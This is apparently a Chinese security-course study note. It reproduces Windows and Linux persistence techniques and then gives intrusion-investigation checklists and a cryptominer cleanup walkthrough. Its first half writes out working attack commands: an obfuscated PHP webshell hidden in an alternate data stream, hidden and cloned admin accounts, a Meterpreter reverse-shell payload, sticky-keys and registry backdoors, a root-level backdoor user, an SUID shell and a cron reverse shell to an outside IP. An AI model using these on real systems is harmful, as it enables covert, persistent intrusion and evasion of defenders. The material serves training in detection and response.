1、通过华为云沃土云创计划免费薅云服务器
-
访问https://developer.huaweicloud.com/programs/dev-program.html 使用方向选择个人(需要先注册实名认证)
-
填写邮箱等信息成功加入沃土云创计划个人方向
-
在激励管理 > 计划权益 > 申请学习代金券
-
申请之后就会给你⼀个400额度的优惠券,点击详情 > 费用中心查看优惠券
-
进入控制台,创建资源 > X实例 > 选择Flexus应用服务器L实例
-
根据需求购买相应服务器
-
购买成功(注意目前已经不能使用400代金券买了,华为官方已经修改了代金券的使用范围)
2、复现windows、linux权限维持技巧
windows
环境:Windows Server 2008
隐藏篇
隐藏文件(可以拿下windows权限的文件)
-
利用文件属性
右击文件 > 选择属性 > 隐藏
post.php消失
想看到被隐藏的文件:组织 > 文件夹和搜索选项 > 查看 > 选择“显示隐藏的文件”选项即可
若想做到真正的隐藏文件:调用cmd使用
Attrib +s +a +h +r
命令(就是把原本的⽂件增加了系统⽂件属性、存档⽂件属性、只读⽂件属性和隐藏⽂件属性)这时不管是否选择“显示隐藏文件”选项均看不见。之后想要恢复文件的话
attrib -s -a -h -r post.php
即可破解隐藏文件:
取消勾选的受保护的操作系统文件 + 选择显示隐藏的文件、文件夹和驱动器。
-
利用ADS隐藏⽂件内容
在服务器上echo⼀个数据流⽂件进去,⽐如index.php是⽹⻚正常⽂件,将恶意代码写入并生成一个类似index.php且不可见的影子文件index.php:hidden.jpg(常规的⽂件管理器、type命令,dir命令、del命令发现都找不出hidden.jpg,但通过
dir /r
可以)echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg
只要原文件不删除,影子文件就一直存在且内容为写入的恶意代码:查看文件内容
notepad index.php:hidden.jpg
-
使用ADS的shell
由于影子文件的特殊性,浏览器不能直接访问到,需要一个正常的文件把ADS文件include进去,这里新建一个include.php文件内容为
<?php include('index.php:hidden.jpg')?>
,来实现利用shell。经过查杀工具的扫描发现该文件容易被查杀。
为了防止查杀需要加工一下代码:
利用PHP pack() 函数将index.php:hidden.jpg进行hex编码并利用PHP 可变变量转换,最后得到绕过D盾查杀的代码。
<?php $a="696E6465782E7068703"."A68696464656E2E6A7067"; $b="a"; var_dump($$b); var_dump(PACK('H*',$$b)); include(PACK('H*',$$b)) ?>
隐藏账号(前提开启远程桌面)
-
建立了一个用户名为test$,密码为111qqq!的隐藏账户,并且把该隐藏账户提升为管理员权限
net user test$ 111qqq! /add #创建隐藏账号 net localgroup administrators test$ /add # 提升到管理员权限
即用远程桌面
mstsc
便可登入 -
这样创建的账号cmd
net user
看不到,但在控制⾯板和本地⽤户和组是可以显示此用户的,这时管理员若看到此账号会将它删除,为了确保账号的稳定性,可以克隆管理员账号为test$,导出注册表,就算账号删除后也可以通过注册表还原(此外还可以使用此账号的密码登入管理员账号)操作如下:
-
win+ R 输⼊“regedit”后回⻋,到“HKEY_LOCAL_MACHINE\SAM\SAM”,会发现无法展开该处所在的键值,需要赋予adminstrators‘完全控制‘、’读取‘权限,再次打开注册表或者刷新出现。
-
复制administrator的F值到test$账户
-
将test$相关的注册表内容导出
-
执行命令
net user test$ /del
删除test$
-
双击上面备份的注册表生成克隆账号,此时生成的账号仅会在注册表中看见,且再次使用命令删除会发现无法删除(除非在注册表中删除)
-
然后利用test$/111qqq!远程登录,发现仍然能登录成功!并且是administrator权限,为administrator桌面
检测和清理⽅法:
使⽤D盾_web查杀⼯具,使⽤克隆账号检测功能进⾏查看,可检测出隐藏、克隆账号。
-
进程注入
-
生成⼀个msf后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.170 LPORT=7764 -f exe > 7764.exe
-
通过后门投递,获得目标机器meterpreter的shell
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.0.0.170 set lport 7764 run -j #-j 后台进行
-
通过D盾检测能看到7746.exe的可疑进程,为了防止被kill,
ps
查看所有进程,将7764.exe进程注入正常进程里,实现进程注入migrate 1356 注⼊进程,getuid发现成为了syetem权限。
后门篇
粘滞键后门
- 电脑连按5次便会出现粘滞键提示(是由sethc.exe文件管理,默认情况下是属于TrustedInstaller所有)
-
要修改sethc.exe的安全设置,需要让当前所有者为administrator且保证对其完全控制
-
开始设置粘滞键后门
move sethc.exe sethc1.exe #将原本的sethc改名为sethc1(备份原文件) copy cmd.exe sethc.exe #将cmd复制并重命名为sethc
此时在登入页面连按5次shift键便可启动cmd,从而不需要登录就可以执行命令了
Logon Scripts后门
- Logon Scripts是Windows用户登录时触发的脚本程序
-
创建后门(后门位置为注册表 > HKEY_CURRENT_USER\Environment)
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径 REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
-
用户下次再登入电脑时,便会自动执行已经部署好的后门7764.exe程序,成功拿到shell
映像劫持
-
与粘滞键后门相似,但是操作注册表完成的(HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File ExecutionOptions\此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此时在登入页面连按5次shift键便可启动cmd
注册表自启动后门
-
位置⼀:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
添加键值为test1后门程序路径。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
重新启动自动运运后门程序,上线成功
-
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改键Userinit的值,重启就会自动运行程序
C:\Users\Administrator\Desktop\7764.exe
重新启动会自动运行后门程序,上线成功。
计划任务后门
-
schtasks命令设定计划自启动后门程序
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1 #每1分钟⾃动执⾏7764.exe
chcp 437 #修改编码 schtasks #查看计划任务
1分钟后收到会话
删除计划任务:
schtasks /delete /tn Updater
服务自启动后门
-
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将
dll文件注册为服务。
sc create test binpath= C:\Users\Administrator\Desktop\7764.exe (注意等号后 ⾯有空格)#创建服务 sc config test start= auto #设置服务为⾃动启动 net start test #启动服务
组策略设置脚本启动后门
-
首先先创建⼀个脚本1.bat,此处为添加隐藏⽤户,内容如下:
@echo off net user test$ qqq111! /add net localgroup administrators test$ /add exit
关机后重启发现,已经执行了脚本,新建隐藏账户成功
linux
- 环境:ubuntu
隐藏篇
隐藏文件
-
Linux 下创建⼀个隐藏文件:
touch .1.txt
(文件名前面加⼀个点就代表是隐藏文件,用ls -l
查看不到ls -al
才可以查看)
隐藏文件时间戳
-
Linux下隐藏后门必须要修改时间,否则很容易被发现,直接利用
touch -t
参数便可以修改创建时间touch -t 198801301145.22 today.php #时间格式[[CC]YY]MMDDhhmm[.ss]
隐藏权限
-
使用chattr命令为文件添加锁定属性,来防止root和其他管理用户误删除和修改重要文件及
目录,此权限用
ls -l
无法查看到,达到隐藏权限的目的chattr +i one.php #为⽂件添加锁定属性
删除文件的方法:
lsattr one.php #属性查看 chattr -i one.php #解除锁定 rm -rf one.php #删除⽂件
隐藏历史操作命令
-
方法一:只针对你的操作关闭历史记录
set +o history #之后的执行的命令都不回被记录
要重新开启历史功能,执行
set -o history
命令即可 -
方法二:从历史记录中删除指定的命令
history | grep 'echo' #利用grep找到想要删除的命令关键词 history -d 51 #选择命令前对应的编号实现删除
后门篇
⼀句话添加用户和密码
-
创建一个用户名hacker,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/test
创建的用户拥有管理员权限
SUID Shell
-
SUID Shell是⼀种可用于以拥有者权限运行的shell
-
建立一个普通用户hacker2
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker2
-
将具有管理员权限的文件拷贝进/tmp/shell里,再对文件赋予SUID权限
cp /bin/bash /tmp/shell chmod u+s /tmp/shell
-
切换hacker2的普通用户,使用
/tmp/shell -p
,实现拿到root权限
-
SSH免密登录
- 前提条件:
- ⽬标机器开启SSH服务且允许密钥登录
- 攻击者拥有⽬标机器的Webshell
-
生成公私钥:执行
ssh-keygen -t rsa
,在.ssh
目录下会生成两个文件,其中id_rsa
为私钥、id_rsa.pub
为公钥。 -
在服务器上安装公钥(
id_rsa.pub
的内容追加到/root/.ssh/authorized_keys
内)cat id_rsa.pub >> authorized_keys
-
开启密钥登录的认证方式:
vim /etc/ssh/sshd_config
(重启生效service ssh restart
) -
私钥取出保存到本地,利用私钥直接登入成功
Crontab反弹shell
-
创建shell脚本
1.sh
,添加执行权限chmod +x 1.sh
#!/bin/sh bash -i >& /dev/tcp/115.120.251.98/9999 0>&1
-
crontab -e 设置定时任务
#每⼀分钟执⾏⼀次 */1 * * * * /root/test/1.sh
重启cron服务
service cron restart
,然后开启监听nc -lvp 9999
接收shell
3、复习课件,掌握常见的windows、linux入侵排查思路和方法。
windows入侵排查
环境:Windows Server 2008
检查系统账号安全
- 查看服务器是否有弱口令,远程管理端口是否对公网开放。
- 检查方法:据实际情况咨询相关服务器管理员。
- 查看服务器是否存在可疑账号、新增账号。
-
检查方法:win+R打开运行窗口,输入
lusrmgr.msc
命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,则立即禁用或删除。
- 查看服务器是否存在隐藏账号、克隆账号。
-
检查方法:
-
打开注册表 ,查看管理员对应键值。
-
使用D盾,利用对克隆账号检测功能
-
- 结合日志,查看管理员登录时间、用户名是否存在异常。
-
检查方法:
-
win+R打开运行窗口,输入
eventvwr.msc
命令,打开事件查看器 > 安全点击筛选当前日志:在事件ID中输入4672 (使用管理员进行登录)确定查找相关日志
-
导出Windows日志--安全,利用Log Parser进行分析。
-
导出保存为sec.evtx
-
Log Parser查询(SQL查询语法一样)
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM sec.evtx"
-
-
检查异常端口、进程
- 检查端口连接情况,是否有远程连接、可疑连接。
-
检查方法:
-
netstat -ano
查看目前的网络连接,定位可疑的ESTABLISHED根据netstat 定位出的pid,再通过tasklist命令进行进程定位
tasklist | findstr 6980
-
使用TCPView
-
- 进程
-
检查方法:
-
win+R打开运行输入
msinfo32
,打开系统信息,点击软件环境 > 正在运行任务即看到进程详细信息 -
打开D盾,进程查看,关注没有签名信息的进程
-
通过微软官方提供的 Process Explorer 工具进行排查
-
总结:
查看可疑的进程及其子进程,可以通过观察以下内容:
a. 没有签名验证信息的进程
b. 没有描述信息的进程
c. 进程的属主
d. 进程的路径是否合法
e. CPU或内存资源占用时间高的进程
检查启动项、计划任务、服务
- 检查服务器是否有异常的启动项。
-
检查方法:
-
单击【开始】>【所有程序】>【启动】,默认情况下此目录在是⼀个空目录,确认是否有可疑程序
-
单击【开始】 >【运行】,输入
msconfig
,查看是否有可疑启动项目,有则取消勾选,并到命令中显示的路径删除文件 -
win+R打开运行窗口,输入
regedit
,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
-
利用安全软件查看启动项、开机时间管理等(以D盾为例)
-
win+R运行
gpedit.msc
,打开组策略 > Windows设置 > 脚本(启动/关机),双机启动选项查看是否存在可疑脚本
-
- 检查计划任务
-
检查方法:
-
单击【开始】搜索任务计划程序,查看是否存在可疑任务
-
cmd
打开命令行输入at
检查计算机与网络上的其它计算机之间的会话或计划任务,如有则确认是否为正常连接。
-
- 服务自启动
-
检查方法:win+R打开运行,输入
services.msc
,注意服务状态和启动类型,检查是否有异常服务
检查系统相关信息
- 查看系统版本以及补丁信息
- 检查方法:,输入
systeminfo
,查看系统信息
- 查找可疑目录及文件
-
检查方法:
-
查看用户目录,新建账号会在
C:\Users\
中生成一个用户目录,查看是否有新建用户目录。 -
win+R打开运行,输入
%UserProfile%\Recent
,分析最近打开分析可疑文件。 -
在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
-
回收站、浏览器下载目录、浏览器历史记录
-
修改时间在创建时间之前的为可疑⽂件
-
- 发现WEBSHELL、远控木马的创建时间,找出在同⼀时间范围内创建的文件
-
建立名为findflie.ps1的PowerShell 脚本内容为
$path = "C:\" $startTime = Get-Date "2024-12-26 12:00:00" $endTime = Get-Date "2024-12-26 17:00:00" Get-ChildItem -Path $path -Recurse | Where-Object { -Not $_.PSIsContainer -and $_.CreationTime -ge $startTime -and $_.CreationTime -le $endTime } | Select-Object FullName, CreationTime | Format-Table -AutoSize
在该文件下命令行输入
powershell
开启命令窗口,运行findfile.ps1脚本#前提需要执行下列命令关闭安全策略,否则脚本会执行失败 Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
-
利用计算机自带文件搜索功能,指定修改时间进行搜索
自动化查杀
- 病毒查杀
- 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。
- webshell查杀
- 检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规则库的不足。
日志分析
-
日志分析工具windodws-logs-analysis(点击目录下的windowslog.exe程序)
linux入侵排查
- 环境:Ubuntu22.04
账号安全
需要注意用户信息文件 /etc/passwd
,存放密码文件 /etc/shadow
基本命令:
who #查看当前登录⽤户(tty 本地登陆 pts 远程登录)
w #查看系统信息,想知道某⼀时刻⽤户的⾏为
uptime #查看登陆多久、多少⽤户,负载状态
-
入侵排查:
-
查询特权用户(uid为0)
awk -F: '$3==0{print $1}' /etc/passwd
-
查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
-
除root账号外,其他账号是否存在sudo权限,如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
-
禁用或删除多余及可疑的账号
usermod -L user #禁⽤账号,账号⽆法登录,/etc/shadow第⼆栏为!开头 userdel user #删除 user ⽤户 userdel -r user #删除user⽤户同时将/home⽬录下的user⽬录⼀并删除
-
历史命令
通过 .bash_history 文件查看账号执行过的系统命令
-
入侵排查
#进⼊⽤户⽬录下,导出历史命令。 cat .bash_history >> history.txt
检查异常网络连接
-
使用
netstat
网络连接命令,分析可疑端口、IP、PIDnetstat -antlp
查看 pid 所对应的进程文件路径:
ls -l /proc/$PID/exe
检查异常进程
-
使用
ps
命令,分析进程ps aux | grep $PID
检查开机启动项
-
查看运行级别命令
runlevel
(运行级别为5,表示图形GUI模式)查看
/etc/rc5.d/
目录下是否存在可疑文件ll /etc/rc5.d/
检查定时任务
-
crontab
、anacron
命令均可创建定时任务#列出crontab定时任务的详细内容 crontab -l
-
入侵排查
重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
检查服务
-
自启动服务入侵排查
- 一般会修改
/etc/rc.d/rc.local
文件,加入/etc/init.d/httpd start
- 一般会修改
-
已安装服务入侵排查,
-
RPM包安装的服务:
chkconfig --list
查看服务自启动状态,可以看到所有的RPM包安装的服务 -
源码包安装的服务:
-
启动管理:
/usr/local/
-
自启动管理:
/etc/rc.d/init.d/
-
-
检查异常文件
-
查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹(以“..”为名的文件具有隐藏属性)
-
排查Webshell、远控木马的创建时间
#可以使⽤find命令来查找 find /opt -iname "*" -atime 1 -type f #找出/opt下⼀天前访问过的⽂件
-
针对可疑文件可以使用
stat
命令查看创建修改时间
检查系统日志
- 日志默认存放位置:
/var/log/
- 查看日志配置情况:
more /etc/rsyslog.conf
4、复习webshell后门查杀方法
-
常见的webshell查杀工具:
- D盾_Web查杀(使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的 WebShell 后门行为;兼容性:只提供 Windows 版本)
- 河马(采用传统特征+云端大数据双引擎的查杀技术,查杀速度快、精度高、误报低;兼容性:支持Windows、Linux,在线查杀)
- Web Shell Detector(具有 WebShell 签名数据库,可帮助识别高达 99% 的 WebShell;兼容性:提供 PHP、Python 脚本,可跨平台,在线检测)
- CloudWalker(一个可执行命令行版本的 Webshell 检测工具;兼容性:只提供 PHP Webshell 的检测。
- PHP Malware Finder(检测Webshell和恶意软件混淆代码的工具;兼容性:只提供 Linux 版本)
- FindWebshell(基于 Python 开发的 WebShell 检查⼯具,根据特征码匹配检查任意类型的WebShell 后门)
-
如何发现隐藏的WebShell后门?
-
MD5校验
-
diff 命令
-
文件对比工具
-
Beyond Compare
-
-
5、预习挖矿木马应急实战,相关虚拟机在云盘上
-
环境Window Server 2022
-
任务管理器找到异常进程
打开进程所在文件位置(发现在未知目录c3pool下)
利用火绒剑,找相关异常(发现异常脚本)
编辑脚本,查看内容(发现挖矿木马),即可在启动项里删除或禁用脚本
找到挖矿进程杀死(发现异常进程xmrig.exe是由nssm.exe开启进程的)
杀死后发现异常服务已停止
最后将异常进程对应的c3pool目录删除,至此挖矿木马彻底删除
-
为了已决后患,还需要进行日志分析查看黑客如何入侵,植入挖矿木马的?
-
打开日志分析工具windodws-logs-analysis
点击查看登入失败的日志,发现存在暴力破解的痕迹(黑客id为192.168.115.131)
解决方法:修改密码为强口令密码
-
标签:文件,exe,查看,16,账号,响应,应急,隐藏,etc From: https://www.cnblogs.com/bokexiLu/p/18675304